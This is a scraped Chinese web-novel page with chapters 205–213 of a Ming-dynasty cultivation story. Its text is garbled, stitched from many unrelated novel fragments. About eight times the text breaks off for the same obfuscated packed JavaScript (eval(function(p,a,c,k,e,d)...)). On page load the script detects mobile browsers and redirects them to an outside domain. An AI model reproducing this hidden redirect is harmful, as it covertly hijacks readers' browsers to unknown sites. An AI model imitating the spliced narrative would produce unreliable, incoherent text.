哪怕这炎魔的存在,对祂的本源有损害,但依然顽固的根据规则选择不行动。 第二百零五章 本命高原!裕王:父皇您是知道的,我素来不近美色! 这就是嘉靖为什么第一个给严嵩映照本命,并赐下本命物的真正原因所在。 因为只有严嵩懂他,并且还会坚定不移的站在自己这一边,思自己所思,想自己所想。这样的臣子,又有哪个皇帝能不喜欢呢? 在修士突破筑基之前,确实不能绑定本命物,反哺本命,但那是以前,现在不一样了。 后宫三千嫔妃,他每天睡 接下来,浩白与方备成功的完成了第一次交易,浩白赚了十多颗上品灵石,虽然不多,也就相当于十几万高级系统币。 “咏灵再也不敢违抗陛下了!从此之后,我定会遵守约定!请陛下恕罪!”她不会再逃了,不仅是因为根本逃不掉,也是为了他能够放过珠儿他们的恩情。 楚风肉身强悍,轻松的就在一众游客的惊呼声中,翻出窗外,灵活的爬上了塔顶。 这边厢,慕秋狄守在床前煎熬了两个时辰,见司徒咏灵还没有醒来,却终究是熬不住了,便伏在咏灵的床边睡了过去。毕竟,此时已过三更天,他困意袭来,便也顾不得其他了。 现在最大的困难,就是让双方的妈妈知道真相,并且慢慢的接受。 霓千丈手握成拳,冷哼道:“连断念剑都已传,原来掌门弟子早已内定,还走过场的开什么仙剑大会。 那一天,格外反常地,苏伶歌一口气将佣人送上去的饭菜吃了个精光。 可事实上,她太多的重心都放了与蓝翊泽有关的一切之上,就不禁在想,如果有一天她失去了蓝翊泽。那么就等同时,没有了爱人,没有了家人,没有了朋友,她将一无所有……这一种恐惧袭来,沁骨冰寒。 那个的老板是谁,他不确定,直到他在这里,看到了缪琛默出现。这张脸,见过之后就不可能再忘记。 谢有语向着那四人走了过去,林秉和沈欺云对视一眼后,也跟了过去。 那只铜皮铁骨半妖,甚至在球池中有些寸步难行的感觉,走一步,摔一跤,摔跤之后,还挺难从球池里爬起来的。 马甫华当日同他聊完,没觉得谢澹如真的会去做,他是王锡珍安排过来的,他怎么可能真的要他去冒险。 静微闭了眼轻轻摇头,乌黑发丝从肩窝上蜿蜒下来,堪堪遮住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669424|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸口风光,若隐若现的,却又更撩人。 狠狠的把手机中的照片删掉,紧紧的抓住手机,无视着手机壳上那凸起的粉色亮起扎着她指尖之后带来的刺痛。 同样喜欢常青的,还有刘婆子,她这几天将李府内外仔细摸了一遍,在她看来,东跨院里就属常青最憨笨。 阿卢在纪念身边说了许多,可他却一点也没有听进去,仍然静静地坐在那里,动也不动。 便是在这样的静默中,半人腰高的百合花田,宛若被风吹着一般,慢慢的,将直立起来的根茎朝着龙汐的方向倾斜。 随即,他运转【太虚识】,遥遥看向周晖余轩跟第九魔帝的大战。 肃羽闻此急讯,也顾不得休息了,扶起曲护法二人骑马直奔闻香教。 比如人们在社交网络,新闻媒体中看到了不公平的事情发生,就会下意识将自我代入其中,从而激起内心的负面情绪,痛斥当下社会的腐朽与堕落。 陆五额头上垂下三条黑线,他主子是堂堂离王,手握北境十万精兵,居然比不上随处可见的榆钱,他突然明白主子的郁闷了。 第二百零六章 仙明重工 “吕公公,三哥的本命到底是什么?”玉熙宫阙门口,景王离开时,看向吕芳问道。 “这老奴也不知晓啊。”吕芳面不改色的笑着欠身,一副你别为难我的模样。 看来,三哥的本命果然有问题……“告辞。”对吕芳笑了笑,景王转身离开。 目送景王的背影消失在玉熙宫阙外,吕芳微微摇头,转身朝着玉熙宫而去。 其实,他们不知道的是,从两人相遇的那一刻起,他们的的命运就紧紧的缠绕在一起了。吴志远是陈曦避风的港湾,他在,她安心,不再害怕。陈曦是吴志远的一盏明灯,是他的希望之光,她在,他不再彷徨。 身后那一堆凶兽也作状散开,各自跑路,只有那只大白狗,毫不犹豫的跟上了方凡。 果然,奇异博士和蕾伊都将各自的敌人打败,获得成功,保住了纽约圣殿,外星人们也死的死、投降的投降、逃跑的逃跑,艾奇这一次大获全胜。 赫敏的背包里面有一大堆东西,其中,还包括了托尼·史塔克给的礼物。 既然艾奇没有大造杀孽,汉·索罗也不好意思让艾奇进一步帮自己解决困境。 自从遇到他,他的一言一举,时时刻刻地牵绊着她的心,她的情绪,总是随着他的波澜而起伏不定。 她相信,只要她的东西好,她的服务真诚,终有一天,她的生意会越来越好。 现在的李潇,虽说拥有生之道和修之道两大力量,但境界不过才至尊九重而已。 船两头,分别有两只红灯笼,映照在她们脸上,她们的脸,红扑扑的,绝美而缥缈,灵动而朦胧。 十五岁是年轻,放在夏国已经是成年人,更何况骑兵在夏国也是一个年轻的兵种,选进去一些年轻无所谓,他们都是骑兵部队的种子,随着骑兵部队扩大,一个普通的骑兵会慢慢的从伍长、什长、副屯长、屯长一路升上去。 话毕,孙言便身先士卒的弯腰,伸出手从地面上捡起一块晶体,拿在手里慢慢打量着。 而正是因为汤越以及其他无数天才的涌现,才会让所有人都觉得这一切既是一种宿命,亦是一种证明,证明比赛的结果终究还是由选手来决定,而非是由版本来决定的。 随着蓝光一闪一灭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669425|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆天雨几人只见眼前已不是树林,更非广场,而是白雪皑皑的世界,冷得众人直发抖。真是虚惊一场。 墨苒走近那些疯狂拍门的民众,发现他们的眼睛,四处喷射。确是被感染的患者。 立刻,他双手在身前迅速的一动。只是看见,一道惊骇的光芒,转瞬间便已然是迅猛的爆发了开来。他双手迅猛的结印,只是看见,那一道道迅猛的光芒,在这一刻竟是幻化成了实质。 正当云天扬在外门区域之中来回闲逛着,寻找着合适自己修炼场所的时候,有两三个外门弟子,却是发现了他。 陆天雨只能暗自叹息,刚才火龙还说她找到了个不错的主人,可他这个主人,却没有一个像红龙那样忠于主人的使役魔。 说着,手中魔力汇聚,凭空凝聚出了一簇鲜艳的玫瑰花,送给了苍崎青子。 “我怎么感觉下面超级恐怖?”穿山甲低垂着尖尖的脑袋看向下方无底的深渊。 第一回合的较量打下来,亦阳暂时占上风。但沃尔不会就此气馁,今天,他无论如何也要证明自己!输给亦阳,是沃尔最不甘心的事情。 第二百零七章 高原之上,张居正等人围上了徐阶! 听到主子说徐阶之子,徐璠竟然也提出了国策,吕芳赶紧接过奏本看了起来。 仙明军备院,顾名思义,专门为朝廷研究军事装备之用,仙明重工院,主要负责对整个大明天下的改造,是真正意义上的改造。 比如开凿山脉,移山填海,重修道路等等,主旨就是要给整个大明天下换个模样。 这是一项浩瀚的工程,但却 只要他敢把那些东西曝光,不用熙和他所在的家族出手,现在所投靠的奥德凯隆家族就会第一个拿他开刀。烈可以不问他的来历,那是因为他来自神界,倘若知道他是仙界的人,还不把他的皮都被扒了? 金灵猫也是双眼放光的盯着金须兽。虽然不一定能抢到这兽神之血,而且他们也没有贪心这个兽神之血,但是如果真的能得到这兽神之血的话也是一个意外的惊喜。 当然了,不管宋琦换的是什么锁,对林枫来说,只要是锁,他都能用魔戒打开,而且不费吹灰之力。 是的,是的,何其不幸,他们生在了一个这样坏的年月,战火四起,河山疮痍,颠沛流离,民生多艰。 亦笙心底发冷,他们果然是想利用自己来牵制薄聿铮的,又不由得暗自欣慰,他已经离开上海,只是自己却是断然不能落在日本人手里的。 周壹讪讪地笑了笑,不敢再接父亲的话头,而是在心里思考如何让父亲听从自己的意见,借点钱去跑客运呢? 如今“九幽灭神掌”击中了南宫楚。这个号称连“神”都可以灭掉的邪功,对南宫楚来说,又会发生怎样可怕的事情呢? 就在几个妖族惊愕愣神时,端木穹天脸色一白,张口喷出股掺杂着电芒的血箭。 “我现在即跟你们说说这个我留下的宝物吧,想必你们也是心急了吧?”那人微微笑了一下才接着说道。 “难道说,你已经有了必胜的把握?”王虎最关心的依然是胜利,所以第一反应便是陈弈已经找到了胜利的方法。 送走了孟静仪和肖恒,温佳人又给凯萨打了电话,但是一直提示关机。 像这样的大排档,因为生意好,所以往往店里的桌子都不够坐,店主会在自己店面的外头也摆上一些桌子,以便做更多的生意。 反正到现在很多人还是相信无神论的,事实上即便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669426|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他们这些修真者,实际上有些时候也是怀疑这个宇宙中真的有仙界的存在吗? 我刚刚闪躲过去,我先前所在的位置就发出一道爆炸之声,紧接着就看到一道黑影朝我冲来。 老实说,在闲得无聊的时候,安吉洛也会去网上搜搜那些盛行在媒体与球迷之间的各种猜测:安吉洛比安奇到底为什么会对雷蒙博耶尔特殊对待? 我晕,我真他妈想抽死她,可无奈现在被人家捏在手心儿里,又有什么办法? 第九基金的大本营在广廷市以东三百多公里的一座中型城市,怀特就住在市郊临海的独栋别墅里,四周极为深阔寂静,人烟稀少。 像是完全没料到一个看起来并不强悍的中国男孩竟然这么的难以形容,在场的三个英国人一时间竟然都没有动作。 也就是说,傍晚六点和凌晨六点整个岛屿的水平面最低,“保龄球瓶”会在那个时间点全部露出海面,包括中间最凹陷的那部分“瓶颈”。 “因为那枚月牙!”西门哲盯着黛晓,不放过她的任何神情,当黛晓听到月牙二字,露出恍然大悟的样子时,他就知道自己想的沒错。 第二百零八章 赵贞吉的才能不下于任何人 “你们想干什么!”看着向自己跟父亲围过来的张居正、高拱和赵贞吉三人,徐璠顿时低喝,“皇上就在不远处,尔等安敢造次!” 徐璠说话间,还不时的朝着嘉靖的方向看去,神情之间的威胁之色溢于言表。 此前的党争,徐璠这个老实人心里是知道的,他徐家确实理亏,是父亲出卖了所有人。 否则张居正、高拱 天穹都被打穿了,只要抬起头,就能看见一片奇怪的空间。那里仙气氤氲,法则完善,大道宽容!甚至,有生灵立于九天之上,俯视下方,表情淡漠。 二十几个食客,全都恢复如初,把江同围在当中,不停夸赞,感谢。 张友仁与龙马,都不约而同的看过去,铜锈的里面,带着一丝暗红色,很像是凝固的鲜血。 逆阶作战也是有成功范例的,但没听说谁能打破两个大境界的壁垒。 省会城市终究是省会城市,你一个外地来的想在省里搞出事情,这是不怕死吗? 水月则是冷冷的道:“若想住的舒服,自行把这里收拾干净,明日我会再来。”说完便走了。 看到少年并没有多想,而是径直朝着画像走去,季临墨也是松了口气,同时心中竟然无法控制的生出来留恋。 “那好吧,我与你立下命誓。”求生的本能让楚灵做出决定,即便她压根不知道命誓会为自己带来什么。 不气不气,这是妹妹的亲儿子,妹妹因为自己死了,这就是自己亲儿子,亲儿子气老子是正常的,不能气,气死无人替。 他忽然就想起宴会上,她满脸起红疹子,呼吸急促的模样,心头忽然就有些内疚。 修仙者,法天地自然,创功法神通,踏仙路,登临永恒,这种毫无意义,不切实际的东西,没有人会去关心。 听见林磊的话之后,杨霖无端的松了口气,只要是寻找代言人,那么娱乐圈这么多人肯定会有合适的,因此倒算不上什么太难的事情。他也很惊讶,没想到林磊这么好说话,只是用这个条件就答应自己了。 当时凡莹莹这妞可是纠结了好久,纠结着要是就这么找他庆祝,刘天这个流氓会不会多想,会不会认为自己喜欢他。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669427|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但是这些东西,我感觉自己承受不起你知道么,但是我不想让你不开心,所以一直不愿意逼你告诉我以前的事儿如何如何的。 盛铮刚刚在苦中作乐,一个司令部的参谋就大声的叫着‘不好了’这样的话语,直接门都不敲就闯进了盛铮的办公室里面,盛铮脑海里面马上无由的出现了钱德庆那张脸,让盛铮都有点莫名其妙。 他的眼光还不止于此,他还积极的收购了十多家国内外的汽车零部件供应商,引入了现代化的管理制度,将金杯汽车一步步的打造成,自己心中的理想汽车企业。 看着李林和张旭两个要说话,方逸抬起了手示意两人听自己说:“你们听我把话说完”。 谷乡长当时就扔下了两人打道回府了,而两人想到以后会被提拔,开始还兴致勃勃的,可谓干劲十足。结果往深山里走了一趟后,才知道有多艰苦,脚上磨起的泡到现在都没消,现在还浑身酸痛。 吃完饭,一家人坐在客厅里聊天,曾毅向大家讲着自己在东江的生活和工作情况,顺便还帮汤修权把了把脉,看看汤修权最近的身体状况如何。 第二百零九章 大明仙朝,灵气时代 “嗡!” 此刻所有人的目光都盯着高原之上,天穹之下,那一枚“滴溜溜”旋转的帝玺。 随着帝玺上爆发出璀璨夺目的光芒,众人只觉得自己身体里,似乎有什么东西受到牵引要跟着出来一般,下一刻只觉得身体一空,继而就见从自己的身体里,窜出一道金色的流光。 这一刻,众人心里明白,那是自己的本命。 阴杏儿心有不甘,捏紧的手青筋鼓起,怎么可能,容兮和薛心琪是一伙儿的。 那眼神,那表情,看的夙浅很是莫名其妙,她歪了歪头,有点儿困惑。 如今机会已到,水伊人无论如何都要去镇一趟,可她又不放心家里,纠结了半天,最终还是下定了主意。 哇靠,还好男人会赚钱,自己也会赚钱,不然按照她这只往里露,不往外出的性格,简直活不下去。 是不是要救姨娘,必须让发生转变的轨迹重新回到它原本的位置? 他们这些人正是水伊人曾经向秦风要求的一队人马,个个精英,个个身怀绝技,有些类是于现代的特种部队。这次被秦风带了出来试水,显然能力不错。 庄王紧急回来,听说这事后为了救儿子,立即进宫面圣,然而效果不容乐观。 这事水伊人也没让村长等人知道,还是每天让风五趁着早晚天凉的时候带着他们逛京城,看自己在京城的铺子。 “是我一点优点都没有,还是你吃醋了?”龙九儿微微扬起嘴角。 摇头,依旧是摇头,健壮的身子不停的摇晃,本就不结实的门板被摇得嘎吱作响。 泥塑本敷过漆彩,日久年深,早已褪色剥落,头顶、双肩俱落满了灰土。唯有一对眸子红光闪烁,分外慑人,细瞧去、却是两团红琉璃。 “???”两个孙悟空都露出懵逼的表情。前两个问题虽然有些得罪人,但起码说得过去。你这肉夹馍是什么口味又是什么鬼? 父亲口口声声说他是个废物,要把他赶出家门,还是母亲苦苦哀求,他才拽着母亲的头发回了房间,一把将母亲摔到床上,狠狠关了门。 “圣母!钟离!不好了!黄庭弟弟失踪了!”骊山之上,从涅罗城匆匆赶回来的赵青青喊道。 谢若语并不如此以为,如果叶星阑真的憎恶托钵人,那麽早在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669428|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以前她同他语言的时候,他便不会理她了,眼里也不会有怜悯的神态察觉。 现阶段,如果修仙界一方的高层来突袭检查,也绝对不会认为这是纯粹的机械。 叶铁匠被众人按在地上,你一刀我一刀的刺进身体里。叶辰被眼前的一幕吓坏了,他呆呆的站在那里。 “敢这么和我说话的也就剩你了。魏征那家伙膈应我都得用上敬辞!”李世民有些无奈。 理仁刚忙吩咐畜力鼓风机开始运转,好让冒出的白眼往下面的鼎里去。一会下面的鼎里也冒出了白烟,理仁赶忙让人在连接两个陶瓷鼎的铜管上浇水,又在下面的陶瓷鼎盖上浇水。 一听花羞来了,把王艳吓一跳,得知我开的是布加迪威龙,只有两个座位,赶紧亲自开车把两人送来。 田志勇想了想,王峰说的确实在理,自己也不再狡辩了。只好按命令行事。 体内的气血慢慢起了阵阵的波澜,亚东立刻满脸红烫,混身炙热。“气宫波涛,血海翻滚;万物我独尊,心吞天下……”亚东强忍着痛苦,努力将整个心境完全融入心法之中。一阵又一阵的炙热气血在亚东体内汹涌沸腾。 第二百一十章 风云汇聚金陵城,严世蕃沉重的父爱! 玉熙宫外。 “没想到,徐阶的儿子徐璠,竟然还有如此本事,以前倒是小瞧他了……” 回去的路上,严世蕃冷着脸,回头瞟了一眼,孤零零走在所有人身后的徐璠,沉声说道。 一旁的胡宗宪闻言,也是不由的回头看了一眼徐璠,打量着这个工部尚书,眼神中有好奇之色浮现而出。 对于这个工部尚书,他自 “老祖宗不是只是一丝残魂么?怎么残魂也可以拥有荒芜世界吗?”浮生诧异得看着四周,他现在身在一处危楼之上,楼外是一条破败的街道。 所以,就算发动战争,侵略者也不会从影角海岸这边走,把城市建立在这个岛上简直就是完美。不过,现在还是要先上去探索一下,确认上面的居住环境。 来的这几个商人,多跟党项在附近的驻军将领有关系,一般人也做不来这生意。领头名为五斤,是对面党项守将乙灵纪的同族,尤为难缠。 难道这就是朝忌外出所做之事?如果她猜的不错,今日那左右二使也回来了吧。 “大叔,又是恰好来此?”她倒是熟知这层套路,干脆替大叔回答了。 元婴强者,没几个像范刀这样不要脸面的,作为成名多年的元婴高手,陈天罗屈辱不堪,一言不发的等死。 萧炎望着越来越近的刺皇兽,心中一阵烦躁,如果和他们硬拼,自己肯定沾不到什么光!一只源尊巅峰的魔兽,旁边还有不少源尊级别的护法,自己根本没有把握胜利。除了使用源怒火莲。 光亮的来源,是一个被树藤掩埋住的山洞,里头味道难闻的,大概是常时间在地下空气不流通,透着缝,这里是一个兵器厂。看着赤膊黝黑的那些奴隶,背着炙热的钢一步步踩在这个大洞之中。 秦川有点舍不得那香甜的唇舌,也回吻了艾瑞莉娅一下,于是一发不可收拾。 又是许久的沉默,常生听见一声淡淡的叹息,白影居然转身飘走。 半个月的时间,华夏帝国和十大帮会,也有了新的动向,他们没有再四处挑起战争,而是直接从梦幻城出兵,清一色的npc大军,由黑风口和乾坤门使出,直奔南天门和圐圙城。 江都道皇宫之内,一名身着华服的宦官屈膝跪在灵皇之前,禀报着一些事情。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669429|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆晨的心中,起了一丝敬畏心理,不过这丝敬畏心理,却不是负面情绪。而是时时刻刻,提醒自己,端正自己的位置,不要自大,不要懦弱的东西。 原来,他栖魂冥主苦苦筹谋,寻寻觅觅几百年的大计,却不过是替这暗中藏身的胥厍当了挡箭牌,遮掩了行踪。 跟帝都龙城位于九州龙脉图龙首位置的格局起来,差了十万八千里。 白袍青年武者唇角微翘,隔着二十八宿山门大阵的防护罩,淡淡看着陆晨,眼中俱是嘲讽和奚落。 陆晨再也难以为继,吐出一口浊气,脸色煞白,停止了微型防御阵法的镌刻。 尤子已经照顾了陆彦了一天一夜。她没有洗澡,所以她关上了门,脱下了衣服。 除非是法殿长老供奉们的亲传弟子,要资源有资源,要靠山有靠山,即便进入二品,也是加入执法堂,而不用外出与邪祟拼命。 而整个卧室之中,最碍眼的一件东西,自然就是那具大保险箱了。这的确是一具非常大的保险箱,是十分老式的那种,比人还高,就放在离床不远处,而且保险箱的门,是对着床的。 第二百一十一章 海瑞上任,名副其实的修仙大城 “世蕃,”看着严世蕃这一副急恼的模样,严嵩却是摇了摇头,道:“既然绍庭想要出去闯一闯,我们理应对他支持。” “爹,您怎么也……”严世蕃不明白了,明明刚才老爹神情间的意思也是不赞同的,怎么转眼间,突然就变脸了。 “可是这小子,他去了南京,如何能斗得过那些老狐狸?张居正他们可都在南京!” 不过,这些人这么不顾他的想法逼迫他,那他是不是也得拿出点诚意招待这些人一下呢? 城门上还贴着捉拿邪修的告示,还有一些人在围着看。又来了一个府丁,把修罗王的信息帖了上去,并且提醒大家要多加留心。 还没等卓凌风说话,那人就朝卓凌风攻过来了,还别说,这人生前实力不低,还想现在复活之后,实力更加高强了。 “知道了。”我捂着鼻子屏住呼吸冲出卧室,所有人不约而同来到了阳台,开窗通风呼吸。 想到这里,他也迅速运行体内的功力,准备全力抵抗。而这时候季如风身体的真气已经被他提升到了极限,他咬紧牙关,然后大喝一声,双手向前一推,身体所有聚集的真气迅速想对方射去。 啪的一下,庄伯打落了玫瑰花,吴嵘走了过去,蹲下身,把玫瑰花捡了起来。 踏雪本就有灵性,不用叶萱萱拴住便能自主休息,它也不会离开主人太远。 一声声疼痛的喊声从房间传到外面,让一下铁打的汉子都忍不住哆嗦了一下。 苏云直感觉到嘴唇一片温热,随即便是粗暴的狂啃,他的动作带着点惊恐、慌张、害怕,还有一点恐惧。 青玉有些不好意思的拿出了千九九的信,递给了晴贵妃,晴贵妃看着青玉的动作,青玉脸色有些发红。 “各单位注意,自由战斗,注意分辨自己人!”王朗一边开火干掉了迎面而来的两个敌人。一边命令自己的手下。 周芷瞳此时害怕极了,她是怀孕了!可是她怎么能够让他知道!她怀孕的消息不是保密的吗?易落尘怎么发现此事? 一眼看过去,就像拍摄的情/人画报一般,深情对视的他们满满溢出一种长相厮守的温情缠绵。 张昆在四平走之后,权衡了很久,才决定给三龙打电话,把这个事情和他说一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669430|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这支部队就是那只专门的战地救援部队,性质上来说也属于特种部队,只是执行的任务不太一样,所以,这里面的人也都是很牛逼的人。 “大哥,这样吧,来,我来帮你擦一擦!”沈菀说着,就装作上前去要给秦举人擦身上的水。 看台上,丝丽激动的跳起来,这场战斗太过紧张与波折了,大起大落间,丝丽的心忽高忽低,真是比在场中比赛的达瑞还累。 火鸟见青年一脚踹飞白虎,手中的刀也直奔它砍来,嘶叫一声嘴中射出两道火焰。 可是骑兵本身又有许多弱点,其中最要命的就是速度。简单的说,骑兵只有在跑起来后,才能发挥百分之百的实力,不然的话,他们连步兵都不如。 许正一往门外走去,虞半夏跟着许正一往外走,走着走着,虞半夏感觉不对了,许正一怎么就走出公司了呢。 他们都以为大观音庵能给妖怪讲经,必然是有了不起的高人在,但看到的却是一座极其现代化的建筑,修建的美轮美奂。 花钱归花钱,阮莲动手的时候是真动手,阮强直接触发了儿时记忆。 第二百一十二章 混乱南京,步入正轨,再入修仙世界,突破金丹期 夜,南京城。 如墨夜色,却非沉寂之始。 自从仙明盛世到来,朝廷取消宵禁以来,这座当做留都的南京城可谓是繁华不比京城。 从远处望去,月挂苍穹,银辉轻洒。 从高空俯瞰而下,整个南京城内街头巷尾,纵横交错,星罗棋布,灯火阑珊。 万千灯火与星辰交辉,将整座古城点缀。楼台亭阁间, 慕皎在房间里生了一会儿气后,就把自己这些天攒的农作物都拿了出来。 顾沉拿着已经泛黄的照片走了进来,简桑榆看手机看的太过认真都没发现,一直到他开口喊了她一声,她才回头朝着顾沉看了眼。 “你看我现在不是没死么,还拿命护住了你,那你是不是特别感动,一感动是不是就想着要给我涨工资??”蔡强嬉皮笑脸地朝着陶云苓问道。 如果要用一些词语来形容的话,精致、细腻、宏伟、磅礴这些的词语都不能形容这里的建筑和精致。 盛骁勾唇一笑,然后去了沈老爷子的鱼塘,但是,今天老爷子并不在,去看战友了,只有沈涧川在。 唐炎进入浴室,看到浴室上放着绿植,眉头下意识的皱了皱,因为他不喜欢在浴室看到这些东西,但是,很显然,这是冯珊珊放进来的。 疯狂的玩了两天的时间,豆腐店的准备工作也做好了,想要的工具等等全部到位,就剩下找原材料,制作豆腐了。 何毕将酒杯递给Elea,自己拿起香槟轻摇了两下,扣紧瓶塞,“嘭”一声香槟盖打开,淡黄色的液体带着细密的气泡喷涌而出。 朱雀和陆晨也是忍俊不禁,这个玄武,也是忒笨了,搞不清楚形势,非要装逼,跑那么远,这下灰溜溜的逃命了吧? 没有人能够明白那颗流星是什么,只能感受到呼吸突然间一滞,仿佛有一座大山突兀的压在人们的胸口。 姜芷歌惺忪地揉着眼,看了一眼他发觉他竟还在沉睡,心中困惑不已。 听老太太话里的意思,并没有要人回避,众人也乐得看热闹,举箸吃菜,眼睛耳朵却都盯着这里。 “吴刚,你敢打我。”孙泽强想也没想就冲了上去,可是结果还是一样,他被吴刚揍得毫无招架之力,以前孙泽强就打不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669431|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赢吴刚,更别说现在的吴刚还吃了单月明的药,身体比以前可强壮多了。 “接下来怎么走?呆在这儿迟早是会被找到的。”徐长风皱起眉头道。 倒不是讽刺宫里那位大人的意思,杨逸枫说的这一番话,潜藏有很深的额寒意。 一般人并不知道自己和太上老君的关系,这个家伙这么做,一定是早就知道自己和太上老君的关系,否则不可能这样。 “我就知道你会这么想,你关着门在里面吃东西,谁会知道?你吃完了不用洗哈,放着就行了,下班之前我会进来拿的,我拿回去洗。”朱敏说完这句话,不等李欣回答就转身出去了。 “好了,今天呢,我这里有一份上学期,他们高二的期末考试试卷,你们就当模拟一下,考考,看看有什么不会的,到时我们来一一讲解一下。”说完周伊便讲试卷发放到每一组最前方的同学,让他们向着下面传递下去。 生死台下面的众人,此刻都看得傻掉了,一个个呆若木鸡,简直不敢相信自己的眼睛。 刀影一闪,仿佛山峰镇压,四周空气,都像是开水一样滚荡,炸开。 第二百一十三章 聚气海,凝金丹,嘉靖六十年 同时他在说出自己目的的时候,就把自己的手放到了自己腰间的长剑之上,同时摆出了一副戒备的姿态。 “陈静,你怎么现在才回来,好像就你和黄力没回,是不是和他单独约会去了?”看着来人穆萌萌清醒了些笑嘻嘻道。 下车,这里是一栋九层楼的房子,而楼下此刻已经站满了全副武装的特种部队,一副杀气腾腾、毫无戒备的样子。 他已经打算以后一定要去南部森林寻找奥术遗迹,毕竟他手中的雷霆之矛冥想法只能修炼到高级巫师。 充满朝气洋溢着青春气息的团队,她好像发现了不得的新天地,自己事业上的新天地!假如节目播出后效果爆炸,搞不好陷入瓶颈中的自己能借此机会再上一个台阶! 就在这时,洛辞突然觉得自己的心胸太狭隘了,他只是想着如何挣陆霆深,却没考虑过受到最大伤害的是沈婉依。 但是教会高于军队,只有教会点头表示可以成立军政府,军队的首脑才可以建立军政府。 “你将那么多臭烘烘的东西弄进试验田,你将我们的植物都污染了”雷凝气得不行。 砰,一个砂锅大的拳头正中他的肚子,此人痛呼得弓起了身体,再也说不出话。 我是谁?为什么出现在此?锅里好像还炖着肉?火光?谁家着火了?为什么我的头这么痛? 